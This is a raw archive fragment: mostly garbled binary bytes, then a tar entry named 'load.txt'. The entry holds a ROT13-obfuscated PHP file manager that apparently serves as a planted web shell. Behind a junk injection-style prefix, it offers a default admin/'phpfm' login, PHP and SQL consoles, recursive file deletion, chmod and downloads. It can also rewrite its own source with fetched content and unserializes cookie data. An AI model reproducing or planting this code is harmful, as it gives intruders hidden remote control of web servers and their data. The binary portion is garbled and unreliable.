-T�-���$b�^���va�{��#z�1���^w�sz��`�s�0�W$��a6�2fk

�"B�&���SDm������K�Z
�"vy|.��g<��JP�@=u.
�4HA���/��(o�)h��C)O��/��RF��$������B)��@����`n�o��"������0ȗ@Q9�
�~qwZ
���8Ȉ1f+�K`�5Q�>~a?����$���e�GAZe��!�h�CSb�oy��y��Jb%=�P&���7�5��3_�R���,�9�̀_��^�p1{7xs�K��W�qI_5#�%C���/`��E6��_,�5�g[6_�%��[8䃼��� �mA^����^0F4՗Zڏ�pd�C�΃��Nѡ��luE�T[»2�my���U�A��K�z���N_�j��ɺ�-&���Tl����f�9�O��m^|�?�A_��`���_��)}�G��s�ח{���^�׋���H?!GA���ѲL���Y��9 g����p����XkH:d�r\���0��l +������6�!Ǐ�C֧�����S$:r��^�H�c���1�_��M�lI�K }�;�lI���8md͋�t���N��Nj���G��mrI~�|C��ZSߖ_��	{����k*�)��߮C�!^G��5C6�e�1@�7�i��+B%�n�ϙ���EGGsT�޲�.�뽠�d`�����Ї��e���)/�&H�D1Vz�w����F����>*Uy�%�
d�H<�J�5�h��f*4LI����4Чi0`<C�G'�bl��;[@rx7a�8�!Ƽ�����_�f��é����&��`���G��"j��;���AȨ�[�5#�Dџ������Ɉ=���\�bѣf�#Y��8g�N0$�����:{��i7�d�9�
�'3n�,�웫��c`#��hڠ&�C���i�E��b��a����0�!-sIb��~�|p���4<��U�}��u~9���3�9\
?c|��%�)˃"��5e����~��6��j��mH74����;�	bccv�x޹�W���H'h��?��(�|��I��vi\���t�'�L��&�"���,�lU̱0��ޮ�{|���جeqL�آ�o{�$���v ����$Ґ��]�y�m�h	8,ϕ��ϖy�	m��܇C��8G�CU�@A����Yarʈ摠���{]0>4��	�WW��
�����#�h0ǃ����G�AWCw�xmA��h��#�8���6|�B��tH'��~U���u`pj�젴E"�_�.f�h��і�NOV�\AC��‰˗�Jx�y���?��k�)�2�
�����Teu#�h^V5D��q��
2����Z2W N��}��н�<=b
�tn!�!�}eƜ�da�N4���	F�4�d�[��CÏ��1x���V���*k8N��2<6%h����zF�y=���!��Ué����|yv� K�}�e�e8Hc�̈��DغA �w��In� }�Q֡"HO$�ea����5K�p5h
�pdƯ�2����5�i�n'ymD�ǧ��$Ksx��x��`Eސ���ɕ�{�Ǵ�`�)�/'u`I���W��
������$�Ed
����a/�Y`�&'����/9���q�{N"�6O�3c�Y̨�?k��0d�hG���-�Ta�%�9�TPh���sH}�T^���k� ��(㵜�L��Q4._l��!\Z��K��Q.a�rIo� �~�L�ɜ�xr�ޥ�c?���;l����� �v�%"�p�}C��<B�M1��:�a˕{O/��Y�2>��T{���E���9Zr?@���}��/���s��A�HA��섚��=J������-���m{�^dtl͇1� �%��yŐ�l�5Y� �t�SM�n%!D.W4�D��$7�R��W�Fk�낞�;�l��w}�E��1��s}r`�_��W�Ç/��𽯡�s���;>u/�T<
�i]R9N�݈c^z���N|�)�˯��y������7��Ik<��wx���j&2��4f>�a�*��ʨ6u�����Q�d����db�;�XG��#)r<��:�Z�l�7|F�y�|@�f�y��9:���ֺ��~��t8tl�X�C��9�g<��3�Kk��c�@W�n���9EW�Ie�:L��e��Kx�iJ��ALs::��L�%
����o��f���8M�=�שڳmE~ �gV�� e��Z(��r�I�'�J  ��P����O��3O;9�exRQ��A���mk)v~=�ڢ)�.�k-�:���
�fd�'20��f�[�hF�C�Di�M�̇���<�Dj��|7�G�m>��<{_q��
chMA����D�z�㺧�[��ޛ�m�Ss{!��0-]�3���W�˷˯�^�œ�����pQ�
2*(I� .�d��Z�4�ڸ�BE�8<�F�ѲB�M�6kǦ˚��a�-6�w=AE7@��h�}�&���E(}��Ƣ�,I�Jt@K��P�a��
��@�޳�oe��-�����2Y_���NW�����i˲�3�V�R���45�!-
�{p�2F������(M^KWWx���~�W`Jʓ�qvY�6J�_���-y�1f����Ц���]2@z�–����iu�&�K{��kE��R�w�����'J�O�N�g&`�Tʘ�(�O�g��U�z�@������<ǂ,�v&���3�*�A/�8a��z֧��D�su
xJݙ�"�I��/B�b�Ąy���;]~~^|�N��e|�l�S�p�32ۜӏ=,����B�=�,6hp:�C�s�Kq����q�U�1Q�Y?-�*�8l~�]���>���pb� ���k;��f$����/I�w���'��m�hb���K�׵Z���H5.ul�n�Ʀ�}3���Aކ��N�O�O��݂�G�$�|5�����P��֨��O�&�ͫ��{��/R���+vk|��-K
�1�Y�`�m��^6m�;��D�s�e�0`�tF�/i�(j��i�C�_���o��5,C:rpVd�͉]�fە���s���E��<Kũy��0)p(��Y��z��)�k����%ǂ���psB��@�Ԟ,H���`���=惭*���=O��"�>�Ee��kI�d�ʐ
<
���C*_2ԣ=p��od���54��
\Z�
o�"5��ru�^�uz�u3|���'M��{Kf���
��&�Ι�����"N���.u��ԅ{����R'�Ppy�uF�>�����_T��9��ژ)��}x�oA`f�f~�ok?���ε��>ǡ?�������]�{���T�T��/�H
q"�3tH��TxF���4`Y�N���}d�W��(���zX�&c*Ϻ�%��yЕ�	r�tj��
�I���_P=��F���u|��'U՝�+:{��5��.�
�6��{�Z����P�˜��E�\hp]���ʆ�h;.O��	��ٓ��@�~���#��VG2����R��{�sy��c"��A� ���H���;C�l�;��{`����NV
��ĉ��qjh�\`�
�ǽ�����8F�c��~����uطGD�牠v𼤿l���Z�-�=u�r9o��,���m�嶾^�-��p6^���05"�P�ڬ�o�M�
x^1n{�Kl�y�ɓ�b�1`�5O�}�v�iJ$��BN���
��RVӗ1�-S�XH�����_�x������Ȳ�83Z9>����0~���a$sh��b�ꋹ�e��N�;@�ǰ:����X�i_Ċ셐!���t��>���>u�+ef�\b
�jb_۟A��w��>8N��� ���)�����?
e��(Z<��q5�<�U�?6t.G*��G~||�zM,g��f�Ԭ������A"Ki,�
�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��H931753/load.txt000064400000240606150432665020007012 0ustar00rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
